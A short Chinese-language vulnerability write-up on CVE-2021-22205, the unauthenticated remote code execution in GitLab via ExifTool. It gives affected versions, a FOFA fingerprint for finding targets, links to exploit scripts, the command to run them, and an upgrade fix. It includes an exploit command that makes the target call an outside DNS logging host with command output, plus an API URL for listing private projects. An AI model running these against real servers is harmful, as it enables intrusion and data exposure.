0x01 前言
GitLab 是由GitLab Inc.开发的一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,可通过Web界面访问公开或私人项目。由于GitLab存在未授权的端点,导致该漏洞在无需进行身份验证的情况下即可进行利用。
0x02 漏洞分析
未授权的端口在于用户注册:https://xx.xx.xx.xx/users/sign_up
还可以滥用Gitlab API接口列出所有项目(包括私有项目)
https://xx.xx.xx.xx/api/v4/projects/?simple=yes&private=true&per_page=1000&page=1
此漏洞是通过上传功能来实现RCE的,漏洞出于ExifTool功能处,用于从图像中移除元数据的开源工具,因为此工具在解析上传图像中的元数据时,并没有完全解析某些元数据,导致攻击者上传带有恶意元数据的图片,从而导致远程命令执行。
0x03 影响版本
-
11.9 <= Gitlab CE/EE <
13.8
.8
-
-
13.9 <= Gitlab CE/EE <
13.9
.6
-
-
13.10 <= Gitlab CE/EE <
13.10
.3
0x04 漏洞检测
-
FOFA指纹:
-
-
title=
"GitLab"
漏洞检测脚本:
https://github.com/RedTeamWing/CVE-2021-22205https://github.com/RedTeamWing/CVE-2021-22205
pocsuite3项目地址:
备注:下载CVE-2021-22205.py脚本后,将CVE-2021-22205.py脚本放置pocsuite3项目的pocsuite3-master\pocsuite3\pocs目录下
执行以下命令:
python3 cli.py -r pocs/CVE-2021-22205.py -u ip:port --verify
EXP:https://github.com/r0eXpeR/CVE-2021-22205
执行以下命令:
python3 CVE-2021-22205.py target "curl \`whoami\`.dnslog"
0x06 修复建议
- 升级至最新版本,官方下载链接:https://about.gitlab.com/update/